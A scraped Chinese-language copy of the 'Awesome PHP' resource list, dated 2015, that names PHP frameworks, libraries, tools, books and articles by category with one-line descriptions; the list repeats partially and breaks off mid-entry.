-用于开发PHP扩展,且介于PHP和C++之间的编译语言 PHP CPP -一个开发PHP扩展的C++库   Miscellaneous 杂项 不在上面分类中的有用库和工具 Spork -一个处理forking的库 JSON Lint - 一个JSON lint工具 JSONPCallbackValidator -验证JSONP回调的库 Pagerfanta -一个分页库 Ruler - 一个简单的无状态的生产环境规则引擎。 LiteCQRS -一个CQRS(命令查询责任分离)库 Sslurp - 一个使得SSL处理减少的库 PHP Option一个可选的类型库 Metrics -一个简单的度量API库 Sabre VObject - 一个解析VCard和iCalendar对象的库 Annotations -一个注释库(Doctrine部分) Whoops -一个不错的错误处理库 Finite -一个简单的PHP有限状态机 LadyBug -一个dumper库 Procrastinator -运行耗时任务的库 Compose -一个功能组合库 SuperClosure -一个允许闭包序列化的库 Jumper - 一个远程服务执行库 Underscore -一个Undersccore JS库的PHP实现 PHP PassBook -一个iOS PassBook PHP库 PHP Expression -一个PHP表达式语言 RMT - 一个编写版本和发布软件的库 Wise - 一个配置管理器 Opengraph -一个开放图库 Essence -一个提取web媒体的库 Embera -一个Oembed消费库 Graphviz -一个图形库 Monad PHP 一个简单Monad库 Flux -一个正则表达式构建库 Patchwork - 一个重新定义用户的函数库 Galapagos -语言转换进化 Design Patterns PHP -一个使用PHP实现的设计模式存储库 PHPCR - 一个Java内容存储库(JCR)的PHP实现 Functional PHP - 一个函数式编程库 ClassPreloader - 一个优化自动加载的库 Lib Country -一个国家和地区数据的库 Lib Accessor -一个简化访问的库 PHPStack -一个PHP编写的TCP/IP栈概念 Nmap -一个Nmap PHP包装器 Code Mover -一个移动代码的库 Iter -一个使用生成器提供迭代原语的库 Lambda PHP -一个PHP中的Lambda 计算解析器 Country List - 所有带有名称和ISO 3166-1编码的国家列表 PHP-GPIO - 用于Raspberry PI的GPIO pin的库 print_o - 一个对象图的可视化器 Alias -一个类别名库   Software 软件 创建一个开发环境的软件 PHP安装 在你的电脑上帮助安装和管理PHP的工具 HomeBrew -一个OSX包管理器 HomeBrew PHP -一个HomeBrew的PHP通道 PHP OSX - 一个OSX下的PHP安装器 PHP Brew -一个PHP版本管理和安装器 PHP Env - 另一个PHP版本管理器 PHP Switch - 另一个PHP版本管理器 PHP Build - 另一个PHP版本安装器 VirtPHP - 一个创建和管理独立PHP环境的工具   Development Environment 开发环境 创建沙盒开发环境的软件和工具 Vagrant -一个便携的开发环境工具 Ansible - 一个非常简单的编制框架 Puppet -一个服务器自动化框架和应用 PuPHPet -一个构建PHP开发虚拟机的web工具 Protobox -另一个构建PHP开发虚拟机的web工具 Phansible - 一个用Ansible构建PHP开发虚拟机的web工具   Virtual Machines 虚拟机 相关的PHP虚拟机 HipHop PHP -Facebook出品的PHP虚拟机,运行时和JIT HippyVM -另一个PHP虚拟机 Hack - 一个PHP进行无缝操作的 HHVM编程语言 IDE 集成开发环境 支持PHP的集成开发环境 Netbeans -一个支持PHP和HTML5的IDE Eclipse for PHP Developers -一个基于Eclipse平台的PHP IDE PhpStorm -一个商业PHP IDE   Web Applications Web应用 基于Web的应用和工具 3V4L一个在线的PHP shell DBV -一个数据库版本控制应用 PHP Queue -一个管理后端队列的应用 Composer as a Service - 作为一个zip文件下载Composer包的工具 MailCatcher - 一个抓取和查看邮件的web工具   Resources 资源 各种提高你的PHP开发技能和知识的资源,比如书籍,网站,文章 PHP网站 PHP相关的有用网站 PHP The Right Way -一个PHP最佳实践的快速指引手册 PHP Best Practices - 一个PHP最佳实践指南 PHP Weekly - 一个PHP新闻周刊 PHP Security - 一个PHP安全指南 PHP FIG - PHP框架交互组 PHP UG -一个帮助用户定位最近的PHP用户组(UG)的网站 Seven PHP -一个PHP社区成员采访的网站 Nomad PHP -一个在线PHP学习资源 PHP Mentoring -点对点PHP导师组织   Other Websites 其他网站 web开发相关的有用网站 The Open Web Application Security Project (OWASP) -一个开放软件安全社区 WebSec IO - 一个web安全社区资源 Web Advent -一个web开发人员日历 Semantic Versioning -一个解析语义版本的网站 Atlassian Git Tutorials -一个Git教程系列 Hg Init -一个Mercurial教程系列 Servers for Hackers - 一个关于服务器管理的新闻通讯   PHP 书籍 PHP相关的非常好的书籍 Scaling PHP Applications - 一本Steve Corona关于扩展PHP应用程序的电子书 The Grumpy Programmer’s Guide to Building Testable PHP Applications -一本Chris Hartjes关于构建PHP应用程序测试的书 Grumpy PHPUnit -一本Chris Hartjes关于使用PHPUnit进行单元测试的书 Mastering Object-Orientated PHP - 一本Brandon Savage关于PHP面向对象的书 Signaling PHP -一本Cal Evans关于在CLI脚本捕获PCNTL 信号的书 Securing PHP: Core Concepts -一本Chris Cornutt关于PHP常见安全条款和实践的书 Modernising Legacy Applications in PHP -一本Paul M.Jones关于遗留PHP应用进行现代化的书   其他书籍 与一般计算和web开发相关的书 The Linux Command Line -William Shotts关于Linux命令行的一本书 Understanding Computation -Tom Stuart关于计算理论的一本书 The Tangled Web — Securing Web Applications - Michal Zalewski关于web应用安全的一本书 Elasticsearch: The Definitive Guide -Clinton Cormley和Zachary Tong编写的与Elasticsearch工作的一本指南 Eloquent JavaScript -Marijin Haverbeke关于JavaScript编程的一本书 Vagrant Cookbook-Erika Heidi关于创建 Vagrant环境的一本书 Pro Git -Scott Chacon和Ben Straub关于Git的一本书   PHP视频 PHP相关的非常不错的视频 Taking PHP Seriously - 来自Facebook Keith Adams 讲述PHP优势 PHP Town Hall - 一个随意的Ben Edmunds和Phil Sturgeon的PHP播客 Programming with Anthony  Anthony Ferrara的视频系列   PHP阅读 PHP相关的阅读资料 Create Your Own PHP Framework - 一部Fabien Potencier的关于如何创建你自己的PHP框架的系列文章 Seven Ways to Screw Up BCrypt - 一篇关于纠正BCrypt实现的文章 Preventing CSRF Attacks -一篇组织CSRF攻击的文章 Don’t Worry About BREACH - 一篇关于BREACH攻击和CSRF令牌的文章 On PHP 5.3, Lamda Functions and Closures -一篇关于lambda函数和闭包的文章 Use Env - 一篇关于使用unix环境帮助的文章 Composer Primer - Composer初级 Composer Versioning -一篇关于Composer版本的文章 Composer Stability Flags -一篇关于Composer稳定性标志的文章 Innocent Villagefolk or a Pillagin’ Pirate? -一篇关于PHP从其他语言获取想法的文章 Predicting Random Numbers in PHP -一篇关于生成随机数的文章 A 20 Point List for Preventing XSS in PHP -一篇关于组织XSS的文章 PHP Sucks! But I Like It! -一篇关于PHP利弊的文章 PHP Is Much Better Than You Think -一篇关于PHP语言和生态圈的文章   PHP Internals Reading PHP内核阅读 阅读PHP内核或性能相关的资料 PHP RFCs - PHP RFCs主页(请求注解) PHP Internals Book - 一本由三名核心开发编写的关于PHP内核的在线书 Print vs Echo, Which One is Faster? -一篇关于打印和echo性能的文章 The PHP Ternary Operator. Fast or Not? -一篇关于三元操作性能的文章 Disproving the Single Quotes Myth -一篇关于单,双引号字符串性能的文章 You’re Being Lied To - 一篇关于内核ZVALs的文章 How Long is a Piece of String -一篇关于字符串原理的文章 Understanding OpCodes -一篇关于伪代码的文章 How Foreach Works -StackOverflow 关于foreach回答的详情 When Does Foreach Copy? -一篇关于foreach原理的文章 How Big Are PHP Arrays (And Values) Really? - 一篇关于数组原理的文章 Why Objects (Usually) Use Less Memory Than Arrays -一篇关于对象和数组原理的文章 PHP Evaluation Order -一篇关于PHP评估顺序的文章 开发人员的PHP源代码: 1 2 3 4 -关于PHP源代码的系列 垃圾收集: 1 2 3 关于PHP垃圾收集原理的系列
文章
Web App开发  ·  安全  ·  测试技术  ·  程序员  ·  API  ·  PHP
2015-08-04
php
Awesome PHP 依赖管理 Dependency Management 其他的依赖管理 Dependency Management Extras 框架 Frameworks 其他框架 Framework Extras 框架组件 Components 微型框架 Micro Frameworks 其他微型框架 Micro Framework Extras 路由 Routers 模板 Templating 静态站点生成器 Static Site Generators HTTP 中间件 Middlewares URL Email 文件 Files 流 Streams 依赖注入 Dependency Injection 图像 Imagery 测试 Testing 持续集成 Continuous Integration 文档 Documentation 安全 Security 密码 Passwords 代码分析 Code Analysis Architectural 调试和分析 Debugging and Profiling 构建工具 Build Tools 任务运行器 Task Runners 导航 Navigation 资源管理 Asset Management 地理位置 Geolocation 日期和时间 Date and Time 事件 Event 日志 Logging 电子商务 E-commerce PDF Office 数据库 Database 迁移 Migrations NoSQL 队列 Queue 搜索 Search 命令行 Command Line 身份验证和授权 Authentication and Authorization 标记 Markup 字符串 Strings 数字 Numbers 过滤和验证 Filtering and Validation API 缓存 Caching 数据结构和存储 Data Structure and Storage 通知 Notifications 部署 Deployment 国际化和本地化 Internationalisation and Localisation 第三方API Third Party APIs 扩展 Extensions 杂项 Miscellaneous 软件 Software PHP安装 PHP Installation 开发环境 Development Environment 虚拟机 Virtual Machines 集成开发环境(IDE) Integrated Development Environment Web应用 Web Applications 基础架构 Infrastructure 资源 Resources PHP网站 PHP Websites 其他网站 Other Websites PHP书籍 PHP Books 其他书籍 Other Books PHP视频 PHP Videos PHP阅读 PHP Reading PHP内核阅读 PHP Internals Reading PHP杂志 PHP Magazines 贡献 依赖管理 Dependency Management 依赖和包管理库 Climb - 一个Composer版本管理工具 Composer Installers - 一个多框架Composer库安装器 Composer/Packagist - 一个包和依赖管理器 Melody - 一个用于构建Composer脚本文件的工具 Pickle - 一个PHP扩展安装器 其他的依赖管理 Dependency Management Extras 其他的相关依赖管理 Composer Checker - 一个校验Composer配置的工具 Composer Merge Plugin - 一个用于合并多个composer.json文件的Composer插件 Composition - 一个在运行时检查Composer环境的库 NameSpacer - 一个转化下划线到命名空间的库 Patch Installer - 一个使用Composer安装补丁的库 Prestissimo - 一个开启并行安装进程的Composer插件 Satis - 一个静态Composer存储库的生成器 Toran Proxy - 一个静态Composer存储库和代理 框架 Frameworks Web开发框架 Aura PHP - 一个独立的组件框架 CakePHP - 一个快速应用程序开发框架 (CP) Laravel 5 - 另一个PHP框架 (L5) Nette - 另一个由个体组件组成的框架 Phalcon - 通过C扩展实现的框架 PPI Framework 2 - 一个互操作性框架 Symfony 2 - 一个独立组件组成的框架 (SF2) Yii2 - 另一个PHP框架 Zend Framework 2 - 另一个由独立组件组成的框架 (ZF2) 其他框架 Framework Extras 其他Web开发框架 CakePHP CRUD - CakePHP的快速应用程序(RAD)插件 Knp RAD Bundle - Symfony 2的快速应用程序(RAD)包 Symfony CMF - 一个创建自定义CMS的内容管理框架 框架组件 Components 来自web开发框架的独立组件 CakePHP Plugins - CakePHP插件的目录 Hoa Project - 另一个PHP组件包 League of Extraordinary Packages - 一个PHP软件开发组 Symfony2 Components - Symfony 2组件 Zend Framework 2 Components - Zend Framework 2组件 微型框架 Micro Frameworks 微型框架和路由 Bullet PHP - 用于构建REST APIs的微型框架 Lumen - 一个Laravel的微型框架 Proton - 一个StackPHP兼容的微型框架 Silex - 基于Symfony2组件的微型框架 Slim - 另一个简单的微型框架 其他微型框架 Micro Framework Extras 其他相关的微型框架和路由 Silex Skeleton - Silex的项目架构 Silex Web Profiler - 一个Silex web的调试工具 Slim Skeleton - Slim架构 Slim View - Slim自定义视图的集合 路由 Routers 处理应用路由的库 Fast Route - 一个快速路由的库 Klein - 一个灵活的路由的库 Pux - 另一个快速路由的库 Route - 一个基于Fast Route的路由的库 模板 Templating 模板化和词法分析的库和工具 Foil - 另一个原生PHP模板库 Lex - 一个轻量级模板解析器 MtHaml - 一个HAML模板语言的PHP实现 Mustache - 一个Mustache模板语言的PHP实现 Phly Mustache - 另一个Mustache模板语言的PHP实现 PHPTAL - 一个TAL模板语言的PHP实现 Plates - 一个原生PHP模板库 Smarty - 一个模板引擎 Twig - 一个全面的模板语言 静态站点生成器 Static Site Generators 用来生成web页面的预处理内容的工具 Couscous - 一个将Markdown转化为漂亮的网站的工具 Phrozn - 另一个转换Textile,Markdown和Twig为HTML的工具 Sculpin - 转换Markdown和Twig为静态HTML的工具 Spress - 一个能够将Markdown和Twig转化为HTML的可扩展工具 HTTP 用于HTTP的库 Buzz - 另一个HTTP客户端 Guzzle - 一个全面的HTTP客户端 HTTPFul - 一个链式HTTP库 PHP VCR - 一个录制和重放HTTP请求的库 Requests - 一个简单的HTTP库 Retrofit - 一个能轻松创建REST API客户端的库 Scraping 用于网站爬取的库 Embed - 一个从web服务或网页中提取的信息的工具 Goutte - 一个简单的web爬取器 PHP Spider - 一个可配置和可扩展的PHP web爬虫 中间件 Middlewares 使用中间件构建应用程序的库 PSR7-Middlewares - 灵感来源于方便的中间件 Relay - 一个PHP 5.5 PSR-7的中间件调度器 Slim Middleware - 一个用于Slim的自定义的中间件的集合 Stack - 一个用于Silex/Symfony的可堆叠的中间件的库 zend-stratigility - 基于PHP PSR-7之上的中间件之上 URL 解析URL的库 Purl - 一个URL处理库 Uri - 另一个URL处理库 PHP Domain Parser - 一个本地前缀解析库 sabre/uri - 一个URI操作库 Email 发送和解析邮件的库 SwiftMailer - 一个邮件解决方案 PHPMailer - 另一个邮件解决方案 Fetch - 一个IMAP库 Email Reply Parser - 一个邮件回复解析的库 Stampie - 一个邮件服务库,类似于SendGrid,PostMark,MailGun和Mandrill. CssToInlineStyles - 一个在邮件模板中的内联CSS库 Email Validator - 一个较小的电子邮件验证库 Mautic - 邮件营销自动化 文件 Files 文件处理和MIME类型检测的库 Apache MIME Types - 一个解析Apache MIME类型的库 Canal - 一个检测互联网媒体类型的库 CSV - 一个CSV数据处理库 Ferret - 一个MIME检测库 Flysystem - 另一个文件系统抽象层 Gaufrette - 一个文件系统抽象层 Hoa Mime - 另一个MIME检测库 Lurker - 一个资源跟踪库 PHP FFmpeg - 一个用于FFmpeg视频包装的库 流 Streams 处理流的库 Streamer - 一个简单的面向对象的流包装库 依赖注入 Dependency Injection 实现依赖注入设计模式的库 Pimple - 一个小的依赖注入容器 Auryn - 一个递归的依赖注入容器 Container - 另一个可伸缩的依赖注入容器 PHP-DI - 一个支持自动装配和PHP配置的依赖注入容器 Acclimate - 一个依赖注入容器和服务定位的通用接口 Symfony DI - 一个依赖注入容器组件 (SF2) 图像 Imagery 处理图像的库 Imagine - 一个图像处理库 PHP Image Workshop - 另一个图像处理库 Intervention Image - 另一个图像处理库 GIF Frame Extractor - 一个提取GIF动画帧信息的库 GIF Creator - 一个通过多张图片创建GIF动画的库 Image With Text - 一个在图像中嵌入文本的库 Color Extractor - 一个从图像中提取颜色的库 Glide - 一个按需处理图像的库 Image Optimizer - 一个优化图像的库 Image Hash - 一个用于生成图像哈希感知的库 测试 Testing 测试代码和生成测试数据的库 PHPUnit - 一个单元测试框架 DBUnit - 一个PHPUnit的数据库测试库 ParaTest - 一个PHPUnit的并行测试库 PHPSpec - 一个基于功能点设计的单元测试库 Codeception - 一个全栈测试框架 AspectMock - 一个PHPUnit/Codeception的模拟框架。 Atoum - 一个简单的测试库 Mockery - 一个用于测试的模拟对象的库 Phake - 另一个用于测试的模拟对象的库 Prophecy - 一个可选度很高的模拟框架 Faker - 一个伪数据生成库 Samsui - 另一个伪数据生成库 Alice - 富有表现力的一代库 Behat - 一个行为驱动开发(BDD)测试框架 Pho - 另一个行为驱动开发测试框架 Mink - Web验收测试 HTTP Mock - 一个在单元测试模拟HTTP请求的库 VFS Stream - 一个用于测试的虚拟文件系统流的包装器 VFS - 另一个用于测试虚拟的文件系统 Locust - 一个用Python编写的现代加载测试库 Peridot - 一个事件驱动开发的测试框架 Kahlan - 全栈Unit/BDD测试框架,内置stub,mock和代码覆盖率的支持 持续集成 Continuous Integration 持续集成的库和应用 Travis CI - 一个持续集成平台 SemaphoreCI - 一个开放源码和私人项目的持续集成平台 PHPCI - 一个PHP的开源的持续集成平台 Sismo - 一个持续测试的服务库 Jenkins - 一个PHP支持的持续集成平台 JoliCi - 一个用PHP编写的由Docker支持的持续集成的客户端 GitlabCi - 使用GitLab CI测试、构建、部署你的代码,像TravisCI 文档 Documentation 生成项目文档的库 Sami - 一个API文档生成器 APIGen - 另一个API文档生成器 PHP Documentor 2 - 一个API文档生成器 phpDox - 一个PHP项目的文档生成器(不限于API文档) daux.io - 一个使用Markdown文件的文档生成器 安全 Security 生成安全的随机数,加密数据,扫描漏洞的库 Halite - 一个简单的使用libsodium的加密库 HTML Purifier - 一个兼容标准的HTML过滤器 IniScan - 一个扫描PHP INI文件安全的库 Optimus - 基于Knuth乘法散列方法的身份混淆工具 PHP Encryption - 一个安全的PHP加密库 PHP IDS - 一个结构化的PHP安全层 PHP SSH - 一个试验的面向对象的SSH包装库 PHPSecLib - 一个纯PHP安全通信库 RandomLib - 一个生成随机数和字符串的库 SecurityMultiTool - 一个PHP安全库 SensioLabs Security Check - 一个为检查Composer依赖提供安全建议的web工具 TCrypto - 一个简单的键值加密存储库 True Random - 使用www.random.org生成随机数的库 VAddy - 一个持续安全的web应用测试平台 Zed - 一个集成的web应用渗透测试工具 密码 Passwords 处理和存储密码的库和工具 GenPhrase - 一个随机生成安全密码哈希的库 Password Compat - 一个新的PHP5.5密码函数的兼容库 Password Policy - 一个PHP和JavaScript的密码策略库 Password Validator - 一个校验和升级密码哈希的库 Password-Generator - 一个生成随机密码的PHP库 PHP Password Lib - 一个生成和校验密码的库 phpass - 一个便携式的密码哈希框架 Zxcvbn PHP - 一个基于Zxcvbn JS的现实的PHP密码强度估计库 代码分析 Code Analysis 分析,解析和处理代码库的库和工具 PHP Parser - 一个PHP编写的PHP解析器 PHPPHP - 一个PHP实现的PHP虚拟机 PHPSandbox - 一个PHP沙盒环境 Dissect - 一个词法和语法分析的工具集合 PHP Mess Detector - 一个扫描代码缺陷,次优代码,未使用的参数等等的库。 PHP Code Sniffer - 一个检测PHP、CSS和JS代码标准冲突的库 PHPCPD - 一个检测复制和粘贴代码的库 PHP Analyser - 一个分析PHP代码查找缺陷和错误的库 PHP CS Fixer - 一个编码标准库 PHP Manipulator - 一个分析和修改PHP源代码的库 PHP Metrics - 一个静态测量库 PHP Refactoring Browser - 一个重构PHP代码的命令行工具集 PHP Semantic Versioning Checker - 一个比较两个源集和确定适当的应用语义版本的命令行实用程序 UBench - 一个简单的微型基准检测库 Athletic - 一个基于注释的基准检测库 Mondrian - 使用图论的代码分析工具 Scrutinizer - 一个审查PHP代码的web工具 PHPLOC - 一个快速测量PHP项目大小的工具 PHPCheckstyle - 一个帮助遵守特定的编码惯例的工具 PhpDependencyAnalysis - 一个创建可定制依赖图的工具 Code Climate - 一个自动代码审查工具 Architectural 相关的设计模式库,组织代码编程的方法和途径 PHP Option - 一个可选的类型库 Ruler - 一个简单的无状态的生产环境规则引擎 Finite - 一个简单的PHP有限状态机 Compose - 一个功能组合库 Monad PHP - 一个简单Monad库 Patchwork - 一个重新定义用户的函数库 Galapagos - 语言转换进化 Design Patterns PHP - 一个使用PHP实现的设计模式存储库 Functional PHP - 一个函数式编程库 Iter - 一个使用生成器提供迭代原语的库 Pipeline - 一个管道模式的实现 调试和分析 Debugging and Profiling 调试和分析代码的库和工具 APM - 一个收集SQLite/MySQL/StatsD错误信息和统计信息的监控扩展 Barbushin PHP Console - 另一个使用Google Chrome的web调试控制台 Blackfire.io - 一个低开销的代码分析器 Kint - 一个调试和分析工具 PHP Console - 一个web调试控制台 PHP Debug Bar - 一个调试工具栏 PHPBench - 一个基准测试框架 PHPDBG - 一个交互的PHP调试器 Tracy - A一个简单的错误检测,写日志和时间测量库 xDebug - 一个调试和分析PHP的工具 xHprof - 另一个PHP分析工具 Z-Ray - 一个调试和配置Zend服务器的工具 构建工具 Build Tools 项目构建和自动化工具 Bob - 一个简单的项目自动化工具 Phake - 一个PHP克隆库 Box - 一个构建PHAR文件的工具 Phing - 一个灵感来自于Apache Ant的PHP项目构建系统 任务运行器 Task Runners 自动运行任务的库 Task - 一个灵感来源于Grunt和Gulp的纯PHP任务运行器 Robo - 一个面向对象配置的PHP任务运行器 Bldr - 一个构建在Symfony组件上的PHP任务运行器 Jobby - 一个没有修改crontab的PHP定时任务管理器 导航 Navigation 构建导航结构的工具 KnpMenu - 一个菜单库 Cartographer - 一个站点地图生成库 资源管理 Asset Management 管理,压缩和最小化web站点资源的工具 Assetic - 一个资源管理的管道库 Pipe - 另一个资源管理的管道库 Munee - 一个资源优化库 JShrink - 一个JavaScript的最小化库 Puli - 一个检测资源绝对路径的库 地理位置 Geolocation 地理编码地址和使用纬度经度的库 GeoCoder - 一个地理编码库 GeoTools - 一个地理工具相关的库 PHPGeo - 一个简单的地理库 GeoJSON - 一个GeoJSON的实现 日期和时间 Date and Time 处理日期和时间的库 Carbon - 一个简单的日期时间API扩展 ExpressiveDate - 另一个日期时间API扩展 CalendR - 一个日历管理库 事件 Event 时间驱动或实现非阻塞事件循环的库 React - 一个事件驱动的非阻塞I/O库. Rx.PHP - 一个reactive扩展库 Ratchet - 一个web socket库 Hoa WebSocket - 另一个web socket库 Hoa EventSource - 一个事件源库 Evenement - 一个事件调度的库 Event - 一个专注于域名事件的库 Cake Event - 一个事件调度的库 (CP) Broadway - 一个事件源和CQRS(命令查询责任分离)库 Prooph Event Store - 一个持久化事件消息的事件源组件 Hprose-PHP - 一个很牛的RPC库,现在支持25+种语言 日志 Logging 生成和处理日志文件的库 Monolog - 一个全面的日志工具 KLogger - 一个易用的兼容PSR-3的日志类 Analog - 一个基于闭包的微型日志包 电子商务 E-commerce 处理支付和构建在线电子商务商店的库和应用 Money - 一个Fowler金钱模式的PHP实现 OmniPay - 一个框架混合了多网关支付处理的库 Payum - 一个支付抽象库 Sebastian Money - 另一个处理货币值的库 Shopware - 一个可高度定制的电子商务软件 Swap - 一个汇率库 Sylius - 一个开源的电子商务解决方案 Thelia - 另一个开源的电子商务解决方案 PDF 处理PDF文件的库和软件 Dompdf - 一个将HTML转换为PDF的工具 PHPPdf - 一个将XML文件转换为PDF和图片的库 Snappy - 一个PDF和图像生成器库 WKHTMLToPDF - 一个将HTML转换为PDF的工具 Office Libraries for working with office suite documents. ExcelAnt - 一个操作Excel文档的库 PHPExcel - 一个处理Excel文档的库 PHPPowerPoint - 一个处理PPT文档的库 PHPWord - 一个处理Word文档的库 数据库 Database 使用对象关系映射(ORM)或数据映射技术的数据库交互的库 Baum - 一个Eloquent的嵌套集实现 Cake ORM - 对象关系映射工具,利用DataMapper模式实现 (CP) Doctrine Extensions - 一个Doctrine行为扩展的集合 Doctrine - 一个全面的DBAL和ORM Eloquent - 一个简单的ORM(L5) LazyRecord - 一个简单、可扩展、高性能的ORM Pomm - 一个PostgreSQL对象模型管理器 Propel - 一个快速的ORM,迁移库和查询构架器 ProxyManager - 一个为数据映射生成代理对象的工具集 RedBean - 一个轻量级,低配置的ORM Spot2 - 一个MySQL的ORM映射器 迁移 Migrations 帮助管理数据库模式和迁移的库 PHPMig - 另一个迁移管理库 Phinx - 另一个数据库迁移的管理库 Migrations - 一个迁移管理库 Doctrine Migrations - 一个Doctrine的迁移库 Ruckusing - 基于PHP下ActiveRecord的数据库迁移,支持MySQL, Postgres, SQLite NoSQL 处理NoSQL后端的库 Monga - 一个MongoDB抽象库 MongoQB - 一个MongoDB查询构建库 PHPMongo - 一个MongoDB ORM. Predis - 一个功能完整的Redis库 队列 Queue 处理事件和任务队列的库 Bernard - 一个多后端抽象库 Pheanstalk - 一个Beanstalkd客户端库 PHP AMQP - 一个纯PHP AMQP库 Thumper - 一个RabbitMQ模式库 搜索 Search 在数据上索引和执行查询的库和软件 Elastica - ElasticSearch的客户端库 ElasticSearch PHP - ElasticSearch的官方客户端库 Solarium - Solr的客户端库 Sphinx Search - Sphinx搜索库,提供SphinxQL索引和搜索的功能 SphinxQL query builder - Sphinx搜索引擎的的查询库 命令行 Command Line 关于命令行工具的库 Boris - 一个微型PHP REPL PsySH - 另一个PHP REPL Pecan - 一个事件驱动和非阻塞的shell GetOpt - 一个命令行选择解析器 OptParse - 另一个命令行选择解析器 Commando - 另一个简单的命令行选择解析器 GetOptionKit - 另一个命令行选择解析器 Cron Expression - 一个计算cron运行日期的库 ShellWrap - -一个简单的命令行包装库 Hoa Console - 另一个命令行库 Shunt - 一个在多台远程机器上并行运行命令行的库 Cilex - 一个构建命令行工具的微型框架 CLImate - 一个输出带颜色的和特殊格式的命令行库 CLI Menu - 一个构建CLI菜单的库 CLIFramework - 一个支持完全zsh/bash、子命令和选项约束的命令行框架,这也归功于phpbrew 身份验证和授权 Authentication and Authorization 实现身份验证和授权的库 Sentinel - 一个混合的身份验证和授权的框架库 Sentinel Social - 一个社交网络身份验证库 Opauth - 一个多渠道的身份验证框架 OAuth2 Server - 一个OAuth2身份验证服务,资源服务器和客户端库 OAuth2 Server - 另一个OAuth2服务器实现 PHP oAuthLib - 另一个OAuth库 TwitterOAuth - 一个Twitter OAuth库 TwitterSDK - 一个完全测试的Twitter SDK Hawk - 一个Hawk HTTP身份认证库 HybridAuth - 一个开源的社交登陆库 Lock - 一种实现访问控制列表(ACL)系统的库 OAuth 1.0 Client - 一个OAuth 1.0客户端的库 OAuth 2.0 Client - 一个OAuth 2.0客户端的库 标记 Markup 处理标记的库 Decoda - 一个轻量级标记解析库 PHP Markdown - 一个Markdown解析器 CommonMark PHP - 一个对CommonMark spec全支持的Markdown解析器 Parsedown - 另一个Markdown解析器 Ciconia - 另一个支持Github Markdown风格的Markdown解析器 Cebe Markdown - 一个快速的可扩展的Markdown解析器 HTML to Markdown - 将HTML转化为Markdown HTML5 PHP - 一个HTML5解析和序列化库 Emoji - 一个把Unicode字符和名称转换为表情符号图片的库 字符串 Strings 解析和处理字符串的库 Agent - 一个基于Mobiledetect的桌面/手机端user agent解析库 ANSI to HTML5 - 一个将ANSI转化为HTML5的库 Color Jizz - 处理和转换颜色的库 Device Detector - 另一个解析user agent字符串的库 Hoa String - 另一个UTF-8字符串库 Mobile-Detect - 一个用于检测移动设备的轻量级PHP类(包括平板电脑) Patchwork UTF-8 - 一个处理UTF-8字符串的便携库 Slugify - 转换字符串到slug的库 SQL Formatter - 一个格式化SQL语句的库 Stringy - 一个多字节支持的字符串处理库 Text - 一个文本处理库 UA Parser - 一个解析user agent字符串的库 URLify - 一个Django中URLify.js的PHP版本 UUID - 生成UUIDs的库 数字 Numbers 处理数字的库 Numbers PHP - 一个处理数字的库 Math - 一个处理巨大数字的库 ByteUnits - 一个在二进制和度量系统中解析,格式化和转换字节单元的库 PHP Units of Measure - 一个计量单位转换的库 PHP Conversion -另一个计量单位转换的库 LibPhoneNumber for PHP - 一个Google电话号码处理的PHP实现库 过滤和验证 Filtering and Validation 过滤和验证数据的库 Cake Validation - 另一个验证库 (CP) DMS Filter - 一个注释过滤库 Filterus - 一个简单的PHP过滤库 ISO-codes - 一个验证各种ISO和ZIP编码的库(IBAN, SWIFT/BIC, BBAN, VAT, SSN, UKNIN) MetaYaml - 一个支持YAML,JSON和XML的模式验证库 Respect Validation - 一个简单的验证库 Upload - 一个处理文件上传和验证的库 Valitron - 另一个验证库 Volan - 另一个简单的验证库 API 开发REST-ful API的库和web工具 API Platform - 暴露出REST API的项目,包含JSON-LD, Hydra格式 Apigility - 一个使用Zend Framework 2构建的API构建器 Drest - 一个将Doctrine实体暴露为REST资源节点的库 HAL - 一个超文本应用语言(HAL)构建库 Hateoas - 一个HOATEOAS REST web服务库 Negotiation - 一个内容协商库 Restler - 一个将PHP方法暴露为RESTful web API的轻量级框架 wsdl2phpgenerator - 一个从SOAP WSDL文件生成PHP类的工具 缓存 Caching 缓存数据的库 Alternative PHP Cache (APC) - 打开PHP操作码缓存 APIx Cache - 一个轻量级的PSR-6缓存 CacheTool - 一个使用命令行清除apc/opcode缓存的工具 Cake Cache - 一个缓存库 (CP) Doctrine Cache - 一个缓存库 Stash - 另一个缓存库 Zend Cache - 另一个缓存库 (ZF2) 数据结构和存储 Data Structure and Storage 实现数据结构和存储技术的库 Ardent - 一个数据结构库 Cake Collection - 一个简单的集合库 (CP) Collections - 一个PHP的集合抽象库 Fractal - 一个转换复杂数据结构到JSON输出的库 Ginq - 另一个基于.NET实现的PHP的LINQ库 JsonMapper - 一个将内嵌JSON结构映射为PHP类的库 PHP Collections - 一个简单的集合库 PINQ - 一个基于.NET实现的PHP的LINQ(Language Integrated Query)库 Serializer - 一个序列化和反序列化数据的库 Totem - -一个管理和创建数据交换集的库 YaLinqo - 另一个PHP的LINQ库 Zend Serializer - 另一个序列化和反序列化数据的库 (ZF2) 通知 Notifications 处理通知软件的库 JoliNotif - 一个跨平台的桌面通知库(支持Growl, notify-send, toaster等) Nod - 一个通知库(Growl等) Notification Pusher - 一个设备推送通知的独立库 Notificato - 一个处理推送通知的库 Notificator - 一个轻量级的通知库 部署 Deployment 项目部署库 Pomander - 一个PHP应用部署工具 Rocketeer - PHP世界里的一个快速简单的部署器 Envoy - 一个用PHP运行SSH任务的工具 Plum - 一个部署库 Deployer - 一个部署工具 国际化和本地化 Internationalisation and Localisation 国际化(I18n)和本地化(L10n)的库 Aura Intl Cake I18n - 消息国际化和日期和数字的本地化 (CP) 第三方API Third Party APIs 访问第三方API的库 Amazon Web Service SDK - PHP AWS SDK官方库 S3 Stream Wrapper - Amazon S3流包装库 Stripe - Stripe官方PHP库 Campaign Monitor - Campaign Monitor官方PHP库 Digital Ocean - Digital Ocean API接口库 Github - 一个Github API交互库 PHP Github API - 另一个Github API交互库 Twitter OAuth - 一个Twitter OAuth工作流交互库 Twitter REST - 一个Twitter REST API交互库 Dropbox SDK - Dropbox SDK官方PHP库 Twilio - Twilio官方PHP REST API Mailgun - Mailgun官方PHP REST API 扩展 Extensions 帮助构建PHP扩展的库 Zephir - 用于开发PHP扩展,且介于PHP和C++之间的编译语言 PHP CPP - 一个开发PHP扩展的C++库 杂项 Miscellaneous 不在上面分类中的有用库和工具 Spork - 一个处理forking的库 JSON Lint - 一个JSON lint工具 JSONPCallbackValidator - 验证JSONP回调的库 Pagerfanta - 一个分页库 LiteCQRS - 一个CQRS(命令查询责任分离)库 Chief - 一个命令总线库 Sslurp - 一个使得SSL处理减少的库 Metrics - 